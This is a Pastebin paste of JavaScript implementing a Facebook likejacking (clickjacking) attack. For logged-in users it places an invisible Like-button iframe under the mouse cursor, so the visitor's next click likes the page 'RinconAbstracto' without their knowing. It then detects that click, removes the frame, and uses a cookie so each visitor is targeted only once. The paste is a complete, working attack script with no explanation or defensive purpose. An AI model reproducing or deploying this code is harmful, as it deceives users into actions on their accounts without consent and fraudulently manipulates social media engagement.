Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function setCookie(c_name,value,exdays) {
- var exdate=new Date();
- exdate.setDate(exdate.getDate() + exdays);
- var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
- document.cookie=c_name + "=" + c_value;
- }
- function getCookie(c_name) {
- var i,x,y,ARRcookies=document.cookie.split(";");
- for (i=0;i<ARRcookies.length;i++) {
- x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
- y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
- x=x.replace(/^\s+|\s+$/g,"");
- if (x==c_name) {
- return unescape(y);
- }
- }
- }
- var total = "1";
- var time = "365";
- var accounts = getCookie("number");
- var plus = parseInt(getCookie("number")) + parseInt(1);
- switch (accounts) {
- default:
- var account = "http://www.facebook.com/RinconAbstracto";
- break;
- case total:
- var ready = true;
- break;
- }
- var interval;
- var iflag;
- var icontainer;
- var standardbody;
- if (ready == true) {
- } else {
- window.fbAsyncInit = function(){
- FB.init({ appId:'432296140140060', status:true, cookie:true, xfbml:true});
- FB.getLoginStatus(function(response){
- if (response.status != "unknown")
- {
- jQuery(function () {
- jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
- iflag = 0;
- icontainer = document.getElementById('icontainer');
- standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
- interval = setInterval("updateActiveElement();", 50);
- });
- }
- });
- };
- // Load the SDK Asynchronously
- (function(d){
- var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
- js = d.createElement('script'); js.id = id; js.async = true;
- js.src = "//connect.facebook.net/en_US/all.js";
- d.getElementsByTagName('head')[0].appendChild(js);
- }(document));
- jQuery("html").bind('mousemove', function (e) {
- if (iflag == 0) {
- var x = e.pageX - 5;
- var y = e.pageY;
- //console.log("X: " + x + " AND Y: " + y);
- jQuery(icontainer).css('top', y).css('left', x);
- }
- });
- }
- function updateActiveElement() {
- if (jQuery(document.activeElement).attr('id') == "werunthenite") {
- setTimeout('$("#icontainer").remove();', 500);
- if (typeof accounts === 'undefined') {
- setCookie("number","1",time);
- } else {
- setCookie("number",plus,time)
- }
- var flag = 0;
- clearInterval(interval);
- iflag = 1;
- if (flag != 0) document.location = "";
- }
- }
Add Comment
Please, Sign In to add comment